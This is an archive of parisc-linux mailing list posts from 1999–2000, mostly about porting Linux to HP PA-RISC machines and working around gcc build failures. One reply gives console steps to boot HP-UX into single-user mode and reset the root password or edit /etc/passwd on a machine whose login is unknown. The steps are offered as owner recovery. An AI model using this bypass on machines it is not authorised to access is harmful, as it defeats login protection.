Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA14127
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Nov 2000 20:09:19 -0700
Original-Received: (qmail 6639 invoked by uid 15267); 27 Nov 2000 03:11:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6632 invoked from network); 27 Nov 2000 03:11:26 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 27 Nov 2000 03:11:26 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 325E7536; Sun, 26 Nov 2000 19:11:25 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id TAA24728;
	Sun, 26 Nov 2000 19:11:46 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 26 Nov 2000 11:47:24 PST."
             <008601c057d0$efcd5800$10f01618@ct44715a> 
Xref: news.gmane.org gmane.linux.ports.parisc:8615

"Carl & Delores Walthall" wrote:
> Hi All
> 
>  I have a HP9000 J200 server and would like to find the operating system
> software for it. Can you tell me where to look on the internet or who I may
> call?

Carl,
The short answer is a port of linux to the J200 is in progress.
See http://www.parisc-linux.org/ for status.

If you have more questions read the FAQ and check the mailing list
archives using http://puffin.external.hp.com/cgi-bin/mailgrep first please.


> The server has a OS installed but no one can remember the user or password
> information. So they gave it to me to take home, is there a way to boot
> it on a floppy and change this information?

Here's how to "fix" this:
During power up/boot press <ESC> key to get "BOOT ADMIN>" prompt.
type "bo pri isl".  At "ISL>" prompt, type "hpux -is".
HPUX should boot to single user. use "mountall" or "mount -a" to
mount all file systems. Then you can "vi /etc/passwd" or "passwd root".

If that doesn't work and you can afford to loan the box out for a
3-4 monthes, you might ask if someone could install parisc-linux
on it for you in exchange for a few monthes use.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] case LEDs
Date: Sun, 26 Nov 2000 22:12:10 -0800
Lines: 34
Approved: news@gmane.org
Message-ID: <200011270612.WAA24909@milano.cup.hp.com>
References: <3A1B2F27.D08EC2AF@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619344 7090 80.91.229.3 (22 Nov 2014 01:22:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:24 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: grundler@cup.hp.com  Sun Nov 26 23:10:44 2000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA15696
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Nov 2000 23:10:43 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by cosrel1.hp.com (Postfix) with ESMTP id AAB681EF
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Nov 2000 23:13:23 -0700 (MST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id WAA24909
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Nov 2000 22:12:11 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 21 Nov 2000 21:27:51 PST."
             <3A1B2F27.D08EC2AF@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8616

Alex deVries wrote:
> Grant Grundler wrote:
> > I was already asked this weekend to dig up technical info on LED
> > and soft power control. I guess this is my reminder to do that. :^)

I dug up the info but it's not in a form I'm willing to publishing.
However, someone did volunteer to look at this and I've provided them
with this info. So it will make into our CVS source tree and get
published that way.


> Isn't there a PDC call (pdc_chassis?) to do this? 

Not AFAICT. PDC_CHASSIS is documented in the pdc32.pdf found on
	http://www.parisc-linux.org/documentation.html 

But my gut feeling is parisc specific code could make some PDC_CHASSIS
calls to set up "sysstat" field (eg initialize, shutdown, run states).

Does anyone know if the chassis codes used by HPUX are published?
It would be cool if parisc-linux used the same codes where possible...


> Or is the heartbeat LED done by hardware?

Code I've looked at before seems to all do it in software.


grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linker problems
Date: Sat, 1 May 1999 03:08:04 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <19990501030804.06634@insula.local>
References: <Pine.LNX.3.96.990430190529.10592L-100000@devserv.devel.redhat.com> <19990501022458.64384@insula.local> <19990501025751.05359@insula.local>
Reply-To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619344 7097 80.91.229.3 (22 Nov 2014 01:22:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:24 +0000 (UTC)
To: Alex deVries <adevries@redhat.com>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@jcsbs.lanobis.de  Fri Apr 30 21:00:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA17446
	for <parisc-linux@puffin.external.hp.com>; Fri, 30 Apr 1999 21:00:01 -0600
Original-Received: (qmail 22690 invoked by uid 15267); 1 May 1999 02:58:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22683 invoked from network); 1 May 1999 02:58:03 -0000
Original-Received: from mail.lanobis.de (HELO bbs.lanobis.de) (root@62.104.42.195)
  by mailserv2.iuinc.com with SMTP; 1 May 1999 02:58:03 -0000
Original-Received: from world.local by bbs.lanobis.de with smtp
	(Smail3.2.0.92 #2) id m10dQ0T-001Ly3C; Sat, 1 May 1999 04:59:57 +0200 (CEST)
Original-Received: (qmail 6676 invoked from network); 1 May 1999 03:00:25 -0000
Original-Received: from insula.local (HELO insula.jcsbs.lanobis.de) (@10.1.31.6)
  by world.local with SMTP; 1 May 1999 03:00:25 -0000
Original-Received: (from prumpf@localhost)
	by insula.jcsbs.lanobis.de (8.8.8/8.8.8) id DAA08174;
	Sat, 1 May 1999 03:08:06 GMT
X-Mailer: Mutt 0.89.1
In-Reply-To: <19990501025751.05359@insula.local>; from Philipp Rumpf on Sat, May 01, 1999 at 02:57:51AM +0000
X-Accept-Language: en,de,se
Xref: news.gmane.org gmane.linux.ports.parisc:8617

> I typoed there, use 1.4. We now die with an undefined reference to $global$.
> should not be exactly hard to fix I guess but it is 5am here :)

not hard at all. here we are:

prumpf@insula:~/cvs-s/parisc/linux > ls -l vmlinux 
-rwxr-xr-x   1 prumpf   users      353695 May  1 03:01 vmlinux

I'll commit the $global$ change now. someone tell me how far the boot gets,
ok ? (not that I expect much).


From - Thu Nov 08 21:14:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aleksandr Konstantinov <sanjak@tipas.lt>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] how to boot ?
Date: Mon, 27 Nov 2000 09:09:22 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <3A2208A2.DB439B4F@tipas.lt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619344 7104 80.91.229.3 (22 Nov 2014 01:22:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:24 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: sanjak@tipas.lt  Mon Nov 27 01:17:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA17001
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Nov 2000 01:17:56 -0700
Original-Received: (qmail 27007 invoked by uid 15267); 27 Nov 2000 08:20:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26934 invoked from network); 27 Nov 2000 08:20:14 -0000
Original-Received: from rfk.ff.vu.lt (193.219.83.105)
  by mailserv2.iuinc.com with SMTP; 27 Nov 2000 08:20:14 -0000
Original-Received: by rfk.ff.vu.lt
	(1.38.193.4/16.2) id AA16617; Thu, 27 Nov 1997 09:54:47 +0100
Original-Received: from siny.rfk.ff.vu.lt(192.168.1.102) by rfk.ff.vu.lt via smap (V2.1)
	id xma016615; Thu, 27 Nov 97 09:54:20 +0100
Original-Sender: sanjak@tipas.lt
X-Mailer: Mozilla 4.07 [en] (X11; I; Linux 2.2.9 i686)
Xref: news.gmane.org gmane.linux.ports.parisc:8618

Hello, All.


  We have two HP Workstations here (Model 735). 
I would like to try linux on one of them. But I have no disk space
to install all the stuff (binutils, compiler, etc) . 
I found precompiled kernel on puffin.external.hp.com but it looks like 
I also need palo . Does anybody know, where to get precompiled palo
for hpux9, hpux10 or linux-x86 ?



Thanks in advance.

A.K.


From - Thu Nov 08 21:14:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strace?
Date: Mon, 27 Nov 2000 09:18:21 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <20001127091821.B3298@linuxcare.com>
References: <Pine.LNX.4.30.0011241656250.1147-100000@talisker.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619345 7106 80.91.229.3 (22 Nov 2014 01:22:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:25 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: "Dave O'Neill" <doneill@linuxcare.com>
Original-X-From: rhirst@linuxcare.com  Mon Nov 27 02:19:49 2000
Original-Received: from rhirst.linuxcare.com (user-141-198.jakinternet.co.uk [212.187.141.198])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id CAA17892
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Nov 2000 02:19:43 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 4D92FB007; Mon, 27 Nov 2000 09:18:21 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.30.0011241656250.1147-100000@talisker.thepuffingroup.com>; from doneill@linuxcare.com on Fri, Nov 24, 2000 at 05:01:00PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:8619

Hi Dave,
  The source is in cvs on pehc; I can supply a binary if you want
one.  I havn't made serious use of it, but it does basically work.

Richard


On Fri, Nov 24, 2000 at 05:01:00PM -0500, Dave O'Neill wrote:
> 
> So, I've heard rumours that somewhere there's a working strace for
> parisc....  Can anyone point me in the right direction?
> 
> Dave
> -- 
> Dave O'Neill,    Senior Linux Consultant,     Linuxcare, Inc.
> desk: (613) 562-9949 fax: (613) 562-9700 cell: (613) 223-0219
> doneill@linuxcare.com               http://www.linuxcare.com/
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:14:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RPM and hppa
Date: Mon, 27 Nov 2000 16:55:36 +0000 (GMT)
Lines: 7
Approved: news@gmane.org
Message-ID: <E140RZ5-0003I4-00@the-village.bc.nu>
References: <200011261645.LAA13960@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619345 7109 80.91.229.3 (22 Nov 2014 01:22:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:25 +0000 (UTC)
Cc: alan@linuxcare.com.au (Alan Modra), alan@lxorguk.ukuu.org.uk,
        parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Nov 27 09:53:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA23693
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Nov 2000 09:53:37 -0700
Original-Received: (qmail 25454 invoked by uid 15267); 27 Nov 2000 16:55:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25435 invoked from network); 27 Nov 2000 16:55:51 -0000
Original-Received: from lightning.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 27 Nov 2000 16:55:51 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 140RZ5-0003I4-00; Mon, 27 Nov 2000 16:55:39 +0000
In-Reply-To: <200011261645.LAA13960@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 26, 2000 11:45:08 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8620

> I think the above is a different problem.  The explosion is most likely
> a problem with exception edges in the gcse pass.  Try `-fno-gcse'.  This
> also appears in the tFile.cc libio test.

I've not yet had a chance to try this. I see the same behaviour building Qt
so I may try it on that


From - Thu Nov 08 21:14:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux]
Date: Mon, 27 Nov 2000 18:11:36 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20001127171136.B02CFD15BD@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619345 7112 80.91.229.3 (22 Nov 2014 01:22:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com
Original-X-From: marteaut@esiee.fr  Mon Nov 27 10:09:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA24375
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Nov 2000 10:09:16 -0700
Original-Received: (qmail 19570 invoked by uid 15267); 27 Nov 2000 17:11:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19546 invoked from network); 27 Nov 2000 17:11:38 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 27 Nov 2000 17:11:38 -0000
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP
	id B02CFD15BD; Mon, 27 Nov 2000 18:11:36 +0100 (CET)
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:8621

Hi all,                                                               
                                                                      
	We have tried to compile the new linux source today and vmlinux      
always needs pci.o to link. It works if you delete pci.o from the     
objects list in the kernel Makefile. But, we don't know why it was    
needed because we did not ask for in our "make config"...             
                                                                      
We appreciate any help!                                               
                                                                      
THX,                                                                  
ESIEE Team                                                            


From - Thu Nov 08 21:14:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RPM and hppa
Date: Mon, 27 Nov 2000 12:13:02 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200011271713.MAA28610@hiauly1.hia.nrc.ca>
References: <E140RZ5-0003I4-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619346 7115 80.91.229.3 (22 Nov 2014 01:22:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:26 +0000 (UTC)
Cc: alan@linuxcare.com.au, alan@lxorguk.ukuu.org.uk,
        parisc-linux@thepuffingroup.com
To: alan@lxorguk.ukuu.org.uk (Alan Cox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Nov 27 10:11:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA24677
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Nov 2000 10:11:23 -0700
Original-Received: (qmail 23148 invoked by uid 15267); 27 Nov 2000 17:13:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23112 invoked from network); 27 Nov 2000 17:13:44 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 27 Nov 2000 17:13:44 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA28610;
	Mon, 27 Nov 2000 12:13:02 -0500 (EST)
In-Reply-To: <E140RZ5-0003I4-00@the-village.bc.nu> from "Alan Cox" at Nov 27, 2000 04:55:36 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8622

> 
> > I think the above is a different problem.  The explosion is most likely
> > a problem with exception edges in the gcse pass.  Try `-fno-gcse'.  This
> > also appears in the tFile.cc libio test.
> 
> I've not yet had a chance to try this. I see the same behaviour building Qt
> so I may try it on that

Another option that might help if exceptions aren't needed is `-fno-exceptions'.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:
Date: Mon, 27 Nov 2000 09:57:39 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <200011271757.JAA25357@milano.cup.hp.com>
References: <20001127171136.B02CFD15BD@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619346 7117 80.91.229.3 (22 Nov 2014 01:22:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: marteau <marteaut@esiee.fr>
Original-X-From: grundler@cup.hp.com  Mon Nov 27 11:01:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA26168
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Nov 2000 11:01:47 -0700
Original-Received: (qmail 13069 invoked by uid 15267); 27 Nov 2000 18:04:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32649 invoked from network); 27 Nov 2000 17:57:25 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 27 Nov 2000 17:57:25 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id DA5AE6FD; Mon, 27 Nov 2000 09:57:22 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA25357;
	Mon, 27 Nov 2000 09:57:44 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 27 Nov 2000 18:11:36 PST."
             <20001127171136.B02CFD15BD@mail.esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:8623

marteau wrote:
> 	We have tried to compile the new linux source today and vmlinux      
> always needs pci.o to link. It works if you delete pci.o from the     
> objects list in the kernel Makefile. But, we don't know why it was    
> needed because we did not ask for in our "make config"...

Hi Thomas,
The problem is in arch/parisc/kernel/Makefile.
It doesn't use CONFIG_PCI to decide if pci.o is needed.
I'll fix that now - should be simple.

thanks,
grant


From - Thu Nov 08 21:14:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RPM and hppa
Date: Mon, 27 Nov 2000 13:19:52 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200011271819.NAA06436@hiauly1.hia.nrc.ca>
References: <E140RZ5-0003I4-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619346 7120 80.91.229.3 (22 Nov 2014 01:22:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:26 +0000 (UTC)
Cc: alan@linuxcare.com.au, alan@lxorguk.ukuu.org.uk,
        parisc-linux@thepuffingroup.com
To: alan@lxorguk.ukuu.org.uk (Alan Cox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Nov 27 11:17:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA26722
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Nov 2000 11:17:56 -0700
Original-Received: (qmail 13206 invoked by uid 15267); 27 Nov 2000 18:20:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13093 invoked from network); 27 Nov 2000 18:20:12 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 27 Nov 2000 18:20:12 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA06436;
	Mon, 27 Nov 2000 13:19:53 -0500 (EST)
In-Reply-To: <E140RZ5-0003I4-00@the-village.bc.nu> from "Alan Cox" at Nov 27, 2000 04:55:36 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8624

> > I think the above is a different problem.  The explosion is most likely
> > a problem with exception edges in the gcse pass.  Try `-fno-gcse'.  This
> > also appears in the tFile.cc libio test.
> 
> I've not yet had a chance to try this. I see the same behaviour building Qt
> so I may try it on that

If the problem is in fact the exception handling method, I think we should
look at implementing the DWARF2 unwind mechanism and exception handling using
this unwind mechanism.  The default method of handling exceptions is sjlj.
See the description of DWARF2_UNWIND_INFO and INCOMING_RETURN_ADDR_RTX in
gcc/tm.texi for more info.  Alan Modra may want this for gdb as well.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc crashes/out of memory and groff
Date: Mon, 27 Nov 2000 18:34:23 +0000 (GMT)
Lines: 15
Approved: news@gmane.org
Message-ID: <E140T6e-0003Rc-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619347 7123 80.91.229.3 (22 Nov 2014 01:22:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Nov 27 11:32:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA27373
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Nov 2000 11:32:12 -0700
Original-Received: (qmail 3462 invoked by uid 15267); 27 Nov 2000 18:34:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3374 invoked from network); 27 Nov 2000 18:34:21 -0000
Original-Received: from lightning.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 27 Nov 2000 18:34:21 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 140T6e-0003Rc-00
	for parisc-linux@thepuffingroup.com; Mon, 27 Nov 2000 18:34:24 +0000
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8625

With groff -fno-gcse does not help but -O0 does. Without -O0 you get an
internal error.

g++ -I. -I/usr/src/redhat/BUILD/groff-1.16/src/roff/troff -I/usr/src/redhat/BUILD/groff-1.16/src/include -I/usr/src/redhat/BUILD/groff-1.16/src/include -DHAVE_UNISTD_H=1 -DHAVE_DIRENT_H=1 -DHAVE_LIMITS_H=1 -DHAVE_SYS_DIR_H=1 -DHAVE_STDLIB_H=1 -DHAVE_STRINGS_H=1 -DSTDLIB_H_DECLARES_PUTENV=1 -DSTDIO_H_DECLARES_POPEN=1 -DSTDIO_H_DECLARES_PCLOSE=1 -DHAVE_SYS_NERR=1 -DHAVE_SYS_ERRLIST=1 -DHAVE_CC_LIMITS_H=1 -DRETSIGTYPE=void -DHAVE_STRUCT_EXCEPTION=1 -DHAVE_UNISTD_H=1 -DHAVE_GETPAGESIZE=1 -DHAVE_MMAP=1 -DHAVE_FMOD=1 -DHAVE_STRTOL=1 -DHAVE_GETCWD=1 -DHAVE_STRERROR=1 -DHAVE_PUTENV=1 -DHAVE_RENAME=1 -DHAVE_MKSTEMP=1 -DHAVE_STRCASECMP=1 -DHAVE_STRSEP=1 -DHAVE_STRDUP=1 -DSYS_SIGLIST_DECLARED=1  -O2 -mpa-risc-1-0 -fno-gcse  -c env.cc
env.cc: In member function `void environment::output_line (node *, hunits)':
env.cc:1582: Internal error: Segmentation fault.
   Please submit a full bug report.
   See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
make[2]: *** [env.o] Error 1
make[2]: Leaving directory `/usr/src/redhat/BUILD/groff-1.16/src/roff/troff'


Alan



From - Thu Nov 08 21:14:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Include trouble
Date: Mon, 27 Nov 2000 21:31:09 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <3A22C48D.F5F85405@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619347 7125 80.91.229.3 (22 Nov 2014 01:22:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:27 +0000 (UTC)
To: Puffin Group <parisc-linux@thepuffingroup.com>
Original-X-From: marteaut@esiee.fr  Mon Nov 27 13:26:22 2000
